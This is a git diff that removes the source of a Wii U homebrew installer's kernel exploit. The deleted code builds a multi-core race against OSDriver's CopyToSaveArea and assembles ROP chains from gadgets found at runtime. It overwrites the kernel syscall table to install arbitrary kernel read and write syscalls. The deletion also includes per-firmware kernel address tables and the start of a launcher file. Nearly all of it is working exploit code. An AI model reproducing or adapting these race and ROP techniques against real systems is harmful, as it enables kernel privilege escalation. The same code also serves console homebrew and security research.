-typedef struct -{ - char *drvb_name; - void *copy_payload; - void *thread0; - void *thread2; - uint32_t *rop0; - uint32_t *rop2; - - void (*OSYieldThread)(void); - int32_t (*OSResumeThread)(void * thread); - uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length); -} thread_data_container_t; - -static void thread_callback(int argc, void *argv) -{ - thread_data_container_t *container = (thread_data_container_t*)argv; - - container->OSYieldThread(); - - /* Schedule both threads for execution */ - container->OSResumeThread(container->thread0); - container->OSResumeThread(container->thread2); - - /* Signal the CPU0 and CPU2 threads to begin */ - container->rop0[0x1fc/4] = 0; - container->rop2[0x1ac/4] = 0; - - container->OSYieldThread(); - - container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000); -} - - -/* Initial setup code stolen from Pong, makes race much more reliable */ -void run_kexploit(private_data_t *private_data) -{ - unsigned int coreinit_handle, sysapp_handle; - OSDynLoad_Acquire("coreinit", &coreinit_handle); - OSDynLoad_Acquire("sysapp", &sysapp_handle); - //needed to not destroy screen - doBrowserShutdown(coreinit_handle); - //prints out first message as well - setupOSScreen(coreinit_handle); - - if(KERN_SYSCALL_TBL == 0) - { - printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1); - wait(coreinit_handle, 0x3FFFF); - exitOSScreen(coreinit_handle); - } - - //OS Memory functions - void*(*memset)(void *dest, uint32_t value, uint32_t bytes); - void*(*memcpy)(void *dest, void *src, uint32_t length); - void*(*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); - void (*DCFlushRange)(void *buffer, uint32_t length); - void (*DCInvalidateRange)(void *buffer, uint32_t length); - void (*ICInvalidateRange)(void *buffer, uint32_t length); - - /* OS thread functions */ - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); - int32_t (*OSResumeThread)(void *thread); - int32_t (*OSGetThreadPriority)(void *thread); - void * (*OSGetCurrentThread)(void); - void (*OSYieldThread)(void); - int (*OSIsThreadTerminated)(void *thread); - - /* Exit functions */ - void (*__PPCExit)(); - void (*_Exit)(); - - int(*SYSSwitchToBrowser)(void *args); - int(*SYSLaunchSettings)(void *args); - - /* Read the addresses of the functions */ - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); - OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority); - OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - - OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); - - OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser); - OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings); - - /* Allocate a stack for the threads */ - uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); - uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); - uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); - - /* Create the threads */ - void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); - bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8); - void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); - bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8); - void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); - if (ret0 == false || ret2 == false) - { - printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1); - wait(coreinit_handle, 0x3FFFF); - exitOSScreen(coreinit_handle); - } - - printOSScreenMsg(coreinit_handle, "Running Exploit...",1); - - /* Find a bunch of gadgets */ - uint32_t sleep_addr; - OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr); - sleep_addr += 0x44; - uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit); - uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit); - uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020}; - uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit); - uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; - uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit); - uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; - uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit); - - /* Find the OSDriver functions */ - uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; - uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); - uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; - uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); - uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; - uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); - uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; - uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); - - /* Set up the ROP chain for CPU0 */ - OSContext *ctx0 = (OSContext*) thread0; - uint32_t *rop0 = (uint32_t*) stack0; - ctx0->gpr[1] = stack0 + 0x80; - ctx0->gpr[28] = 0; - ctx0->gpr[29] = CPU0_WAIT_TIME * 2; - ctx0->gpr[31] = stack0 + 0x1f8; - ctx0->srr0 = sigwait_addr + 0xc; - rop0[0x94/4] = sleep_addr; - rop0[0x114/4] = r3r4load_addr; - rop0[0x118/4] = stack0 + 0x208; - rop0[0x11c/4] = 4; - rop0[0x124/4] = r30r31load_addr; - rop0[0x14c/4] = stack0 + 0x220; - rop0[0x154/4] = sigwait_addr; - rop0[0x164/4] = r5load_addr; - rop0[0x168/4] = stack0 + 0x218; - rop0[0x174/4] = r3r4load_addr; - rop0[0x178/4] = stack0 + 0x210; - rop0[0x17c/4] = 4; - rop0[0x184/4] = r30r31load_addr; - rop0[0x1a8/4] = stack0 + 0x230; - rop0[0x1b4/4] = r6load_addr; - rop0[0x1c4/4] = stack0 + 0x21c; - rop0[0x1dc/4] = stack0 + 0x228; - rop0[0x1e4/4] = sigwait_addr; - rop0[0x1f4/4] = sigwait_addr + 0x28; - rop0[0x1f8/4] = sigwait_addr + 0xc; - rop0[0x1fc/4] = stack0 + 0x1f8; - rop0[0x200/4] = 0; - rop0[0x204/4] = 0; - rop0[0x208/4] = 0x44525642; - rop0[0x20c/4] = 0; - rop0[0x210/4] = 0x44525643; - rop0[0x214/4] = 0; - rop0[0x218/4] = 0; - rop0[0x21c/4] = 0; - rop0[0x220/4] = (uint32_t)Deregister; - rop0[0x224/4] = 0; - rop0[0x228/4] = (uint32_t)Register; - rop0[0x22c/4] = 0; - - /* Set up the ROP chain for CPU2 */ - OSContext *ctx2 = (OSContext*) thread2; - uint32_t *rop2 = (uint32_t*) stack2; - ctx2->gpr[1] = stack2 + 0x80; - ctx2->gpr[28] = 0; - ctx2->gpr[29] = CPU2_WAIT_TIME * 4; - ctx2->gpr[31] = stack2 + 0x1a8; - ctx2->srr0 = sigwait_addr + 0xc; - rop2[0x94/4] = sleep_addr; - rop2[0x114/4] = r5load_addr; - rop2[0x118/4] = stack2 + 0x204; - rop2[0x124/4] = r3r4load_addr; - rop2[0x128/4] = stack2 + 0x1b8; - rop2[0x12c/4] = 4; - rop2[0x134/4] = r30r31load_addr; - rop2[0x158/4] = stack2 + 0x1c8; - rop2[0x164/4] = r6load_addr; - rop2[0x174/4] = 4; - rop2[0x18c/4] = stack2 + 0x1c0; - rop2[0x194/4] = sigwait_addr; - rop2[0x1a4/4] = sigwait_addr + 0x28; - rop2[0x1a8/4] = sigwait_addr + 0xc; - rop2[0x1ac/4] = stack2 + 0x1a8; - rop2[0x1b0/4] = 0; - rop2[0x1b4/4] = 0; - rop2[0x1b8/4] = 0x44525641; - rop2[0x1bc/4] = 0; - rop2[0x1c0/4] = (uint32_t)CopyToSaveArea; - rop2[0x1c4/4] = 0; - rop2[0x204/4] = 0xDEADC0DE; - - /* Register driver A and driver B */ - char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); - memcpy(drva_name, "DRVA", 5); - char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); - memcpy(drvb_name, "DRVB", 5); - uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL); - if (status != 0) - { - printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2); - wait(coreinit_handle, 0x3FFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } - - /* Generate the copy payload, which writes to syscall_table[0x34] */ - uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20); - if (!copy_payload) - { - printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2); - wait(coreinit_handle, 0x3FFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } - copy_payload[0] = 0x01234567; - copy_payload[0xfb4/4] = 0x44525648; - copy_payload[0xfb8/4] = 0x41580000; - copy_payload[0xff4/4] = PFID_BROWSER; - copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4); - DCFlushRange(copy_payload, 0x1000); - DCInvalidateRange(copy_payload, 0x1000); - - char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); - drvhax_name[7] = 0; - memcpy(drvhax_name, "DRVHAX", 7); - uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4); - syscalls[0] = KERN_CODE_READ; - syscalls[1] = KERN_CODE_WRITE; - - /* Do a dummy copy to put CopyToSaveArea() in our cache */ - CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4); - - thread_data_container_t container; - container.drvb_name = drvb_name; - container.copy_payload = copy_payload; - container.rop0 = rop0; - container.rop2 = rop2; - container.thread0 = thread0; - container.thread2 = thread2; - container.OSResumeThread = OSResumeThread; - container.OSYieldThread = OSYieldThread; - container.CopyToSaveArea = CopyToSaveArea; - - bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8); - - OSYieldThread(); - /* Schedule both threads for execution */ - //OSResumeThread(thread0); - //OSResumeThread(thread2); - OSResumeThread(thread1); - - - /* Signal the CPU0 and CPU2 threads to begin */ - //rop2[0x1ac/4] = 0; - //rop0[0x1fc/4] = 0; - - /* Start copying the payload into driver B's save area */ - //CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000); - - /* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */ - while(OSIsThreadTerminated(thread1) == 0) - { - asm volatile ( - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - ); - - OSYieldThread(); - } - - /* Use DRVHAX to install the read and write syscalls */ - status = CopyToSaveArea(drvhax_name, 6, syscalls, 8); - - /* Verify that the syscalls were installed */ - uint32_t result = 42; - status = CopyFromSaveArea(drvhax_name, 6, &result, 4); - if (result != KERN_CODE_READ) - { - printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2); - wait(coreinit_handle, 0x3FFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } - - /* Search the kernel heap for DRVA and DRVHAX */ - uint32_t drva_addr = 0, drvhax_addr = 0; - uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10); - while (metadata_addr >= KERN_HEAP + 0x14) - { - /* Read the data address from the metadata, then read the data */ - uint32_t data_addr = kern_read((void*)metadata_addr); - uint32_t data = kern_read((void*)data_addr); - - /* Check for DRVA or DRVHAX, and if both are found, break */ - if (data == 0x44525641) drva_addr = data_addr; - else if (data == 0x44525648) drvhax_addr = data_addr; - if (drva_addr && drvhax_addr) break; - - /* Go to the previous metadata entry */ - metadata_addr -= 0x10; - } - if (!(drva_addr && drvhax_addr)) - { - printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2); - wait(coreinit_handle, 0x3FFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } - /* Make DRVHAX point to DRVA to ensure a clean exit */ - kern_write((void*)(drvhax_addr + 0x48), drva_addr); - - private_data->MEMFreeToDefaultHeap(thread0); - private_data->MEMFreeToDefaultHeap(thread1); - private_data->MEMFreeToDefaultHeap(thread2); - private_data->MEMFreeToDefaultHeap((void*)stack0); - private_data->MEMFreeToDefaultHeap((void*)stack1); - private_data->MEMFreeToDefaultHeap((void*)stack2); - - //printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2); - //wait(coreinit_handle, 0x3FFFF); - //callSysExit(coreinit_handle,SYSSwitchToBrowser); - //exitOSScreen(coreinit_handle); -} -#endif - - -void wait(unsigned int coreinit_handle, unsigned int t) -{ - void (*OSYieldThread)(void); - OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); - - while(t--) - { - OSYieldThread(); - } -} - -void doBrowserShutdown(unsigned int coreinit_handle) -{ - void*(*memset)(void *dest, uint32_t value, uint32_t bytes); - void*(*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); - - int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); - int(*IM_Close)(int fd); - int(*IM_Open)(); - - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - - OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); - - //Restart system to get lib access - int fd = IM_Open(); - void *mem = OSAllocFromSystem(0x100, 64); - memset(mem, 0, 0x100); - //set restart flag to force quit browser - IM_SetDeviceState(fd, mem, 3, 0, 0); - IM_Close(fd); - OSFreeToSystem(mem); - //wait a bit for browser end - wait(coreinit_handle, 0x3FFFF); -} - -void drawString(unsigned int coreinit_handle, int x, int y, char * string) -{ - unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - OSScreenPutFontEx(0, x, y, string); - OSScreenPutFontEx(1, x, y, string); -} - -void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a) -{ - unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - uint32_t num = (r << 24) | (g << 16) | (b << 8) | a; - OSScreenClearBufferEx(0, num); - OSScreenClearBufferEx(1, num); -} - -void flipBuffers(unsigned int coreinit_handle) -{ - void(*DCFlushRange)(void *buffer, uint32_t length); - unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - //Grab the buffer size for each screen (TV and gamepad) - int buf0_size = OSScreenGetBufferSizeEx(0); - int buf1_size = OSScreenGetBufferSizeEx(1); - //Flush the cache - DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size); - DCFlushRange((void *)0xF4000000, buf0_size); - //Flip the buffer - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); -} - -void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos) -{ - int i; - for(i=0;i<2;i++) - { - fillScreen(coreinit_handle, 0,0,0,0); - drawString(coreinit_handle, 0,pos,buf); - flipBuffers(coreinit_handle); - } -} - -void setupOSScreen(unsigned int coreinit_handle) -{ - void(*OSScreenInit)(); - unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - - //Call the Screen initilzation function. - OSScreenInit(); - //Grab the buffer size for each screen (TV and gamepad) - int buf0_size = OSScreenGetBufferSizeEx(0); - int buf1_size = OSScreenGetBufferSizeEx(1); - //Set the buffer area. - OSScreenSetBufferEx(0, (void *)0xF4000000); - OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); - //Clear both framebuffers. - int ii; - for (ii = 0; ii < 2; ii++) - { - fillScreen(coreinit_handle, 0,0,0,0); - flipBuffers(coreinit_handle); - } - printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0); -} - -void exitOSScreen(unsigned int coreinit_handle) -{ - void (*_Exit)(); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); - //exit only works like this - int ii; - for(ii = 0; ii < 2; ii++) - { - fillScreen(coreinit_handle, 0,0,0,0); - flipBuffers(coreinit_handle); - } - _Exit(); -} - -void callSysExit(unsigned int coreinit_handle, void *sysFunc) -{ - void*(*OSAllocFromSystem)(uint32_t size, int align); - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); - int32_t (*OSResumeThread)(void *thread); - int (*OSIsThreadTerminated)(void *thread); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - - uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20); - void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8); - - OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A); - OSResumeThread(thread1); - while(OSIsThreadTerminated(thread1) == 0) - { - asm volatile ( - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - ); - } -} - -/* Simple memcmp() implementation */ -int memcmp(void *ptr1, void *ptr2, uint32_t length) -{ - uint8_t *check1 = (uint8_t*) ptr1; - uint8_t *check2 = (uint8_t*) ptr2; - uint32_t i; - for (i = 0; i < length; i++) - { - if (check1[i] != check2[i]) return 1; - } - - return 0; -} - -void* memcpy(void* dst, const void* src, uint32_t size) -{ - uint32_t i; - for (i = 0; i < size; i++) - ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; - return dst; -} - -/* Find a gadget based on a sequence of words */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) -{ - uint32_t *ptr; - - /* Search code before JIT area first */ - for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - /* Restart search after JIT */ - for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - OSFatal("Gadget not found!"); - return (void*)0; -} - -/* Read a 32-bit word with kernel permissions */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr) -{ - uint32_t result; - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "li 5,0\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%1\n" - "li 0,0x3400\n" - "mr %0,1\n" - "sc\n" - "nop\n" - "mr 1,%0\n" - "mr %0,3\n" - : "=r"(result) - : "b"(addr) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); - - return result; -} - -/* Write a 32-bit word with kernel permissions */ -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) -{ - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); -} diff --git a/installer/kexploit.h b/installer/kexploit.h deleted file mode 100644 index 530490a..0000000 --- a/installer/kexploit.h +++ /dev/null @@ -1,104 +0,0 @@ -#ifndef KEXPLOIT_H -#define KEXPLOIT_H - -#include "structs.h" -#include "../../libwiiu/src/types.h" -#include "../../libwiiu/src/coreinit.h" -#include "../../libwiiu/src/socket.h" - -/* Wait times for CPU0 and CPU2 */ -#define CPU0_WAIT_TIME 80 -#define CPU2_WAIT_TIME 92 - -/* Gadget finding addresses */ -#define JIT_ADDRESS 0x01800000 -#if (VER == 300 || VER == 310) - #define CODE_ADDRESS_START 0x0E000000 - #define CODE_ADDRESS_END 0x10000000 -#else - #define CODE_ADDRESS_START 0x0D800000 - #define CODE_ADDRESS_END 0x0F848A0C -#endif - -/* Kernel addresses, stolen from Chadderz */ -#define KERN_HEAP 0xFF200000 -#define KERN_HEAP_PHYS 0x1B800000 -#if VER == 200 - #define KERN_SYSCALL_TBL 0xFFE85910 - #define KERN_CODE_READ 0xFFF02214 - #define KERN_CODE_WRITE 0xFFF02234 - #define KERN_ADDRESS_TBL 0xFFEB4E00 - #define KERN_DRVPTR 0x00000000 -#elif VER == 210 - #define KERN_SYSCALL_TBL 0xFFE85910 - #define KERN_CODE_READ 0xFFF02214 - #define KERN_CODE_WRITE 0xFFF02234 - #define KERN_ADDRESS_TBL 0xFFEB4E40 - #define KERN_DRVPTR 0x00000000 -#elif VER == 300 - #define KERN_SYSCALL_TBL 0xFFE85950 - #define KERN_CODE_READ 0xFFF02214 - #define KERN_CODE_WRITE 0xFFF02234 - #define KERN_ADDRESS_TBL 0xFFEB66E4 - #define KERN_DRVPTR 0x00000000 -#elif VER == 310 - #define KERN_SYSCALL_TBL 0xFFE85950 - #define KERN_CODE_READ 0xFFF02214 - #define KERN_CODE_WRITE 0xFFF02234 - #define KERN_ADDRESS_TBL 0xFFEB66E4 - #define KERN_DRVPTR 0x00000000 -#elif VER == 400 - #define KERN_SYSCALL_TBL 0xFFE85890 - #define KERN_CODE_READ 0xFFF02214 - #define KERN_CODE_WRITE 0xFFF02234 - #define KERN_ADDRESS_TBL 0xFFEB7E5C - #define KERN_DRVPTR 0x00000000 -#elif VER == 410 - #define KERN_SYSCALL_TBL 0xffe85890 - #define KERN_CODE_READ 0xfff02214 - #define KERN_CODE_WRITE 0xfff02234 - #define KERN_ADDRESS_TBL 0xffeb902c - #define KERN_DRVPTR 0x00000000 -#elif VER == 500 - #define KERN_SYSCALL_TBL 0xffea9520 - #define KERN_CODE_READ 0xfff021f4 - #define KERN_CODE_WRITE 0xfff02214 - #define KERN_ADDRESS_TBL 0xffea9e4c - #define KERN_DRVPTR 0x00000000 -#elif (VER == 532) || (VER == 540) - #define KERN_SYSCALL_TBL 0xFFEAA0E0 - #define KERN_CODE_READ 0xFFF02274 - #define KERN_CODE_WRITE 0xFFF02294 - #define KERN_ADDRESS_TBL 0xFFEAAA10 - #define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) -#elif VER == 550 - #define KERN_SYSCALL_TBL 0xFFEAAE60 - #define KERN_CODE_READ 0xFFF023D4 - #define KERN_CODE_WRITE 0xFFF023F4 - #define KERN_ADDRESS_TBL 0xFFEAB7A0 - #define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) -#else -#error "Unsupported Wii U software version" -#endif - -/* Browser PFID */ -#define PFID_BROWSER 8 - -/* Kernel heap constants */ -#define STARTID_OFFSET 0x08 -#define METADATA_OFFSET 0x14 -#define METADATA_SIZE 0x10 - -/* Size of a Cafe OS thread */ -#define OSTHREAD_SIZE 0x1000 - -void run_kexploit(private_data_t *private_data); - -/* Find a ROP gadget by a sequence of bytes */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); - -/* Arbitrary read and write syscalls */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr); -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); - -#endif /* KEXPLOIT_H */ diff --git a/installer/launcher.c b/installer/launcher.c deleted file mode 100644 index a86b468..0000000 --- a/installer/launcher.c +++ /dev/null @@ -1,561 +0,0 @@ -#include "types.h" -#include "elf_abi.h" -#include "kexploit.h" -#include "structs.h" -#include "sd_loader.h" - -#define MEM_BASE 0xC0800000 -#include "../src/common/common.h" -#include "../src/common/os_defs.h" -#include "../../libwiiu/src/coreinit.h" - -//! this shouldnt depend on OS -#define LIB_CODE_RW_BASE_OFFSET 0xC1000000 -#define CODE_RW_BASE_OFFSET 0xC0000000 -#define DATA_RW_BASE_OFFSET 0xC0000000 - -#if ( (VER == 532) || (VER == 540) ) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005d180 - #define ADDRESS_main_entry_hook 0x0101c55c - - #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown - #define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games - #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader - #define KERN_SYSCALL_TBL_4 0xFFEA9CE0 // works with home menu - #define KERN_SYSCALL_TBL_5 0xFFEAA0E0 // works with browser (previously KERN_SYSCALL_TBL) - - #define address_LiWaitIopComplete 0x0100FFA4 - #define address_LiWaitIopCompleteWithInterrupts 0x0100FE90 - #define address_LiWaitOneChunk 0x010007EC - #define address_PrepareTitle_hook 0xFFF18558 - #define address_sgIsLoadingBuffer 0xEFE19D00 - #define address_gDynloadInitialized 0xEFE13C3C - -#elif ( (VER == 500) || (VER == 510) ) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005CB00 - #define ADDRESS_main_entry_hook 0x0101C15C - - #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown - #define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games - #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader - #define KERN_SYSCALL_TBL_4 0xFFEA9120 // works with home menu - #define KERN_SYSCALL_TBL_5 0xFFEA9520 // works with browser (previously KERN_SYSCALL_TBL) - - #define address_LiWaitIopComplete 0x0100FBC4 - #define address_LiWaitIopCompleteWithInterrupts 0x0100FAB0 - #define address_LiWaitOneChunk 0x010007EC - #define address_PrepareTitle_hook 0xFFF18534 - #define address_sgIsLoadingBuffer 0xEFE19D00 - #define address_gDynloadInitialized 0xEFE13C3C - -#elif (VER == 550) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 - #define ADDRESS_main_entry_hook 0x0101c56c - - #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown - #define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games 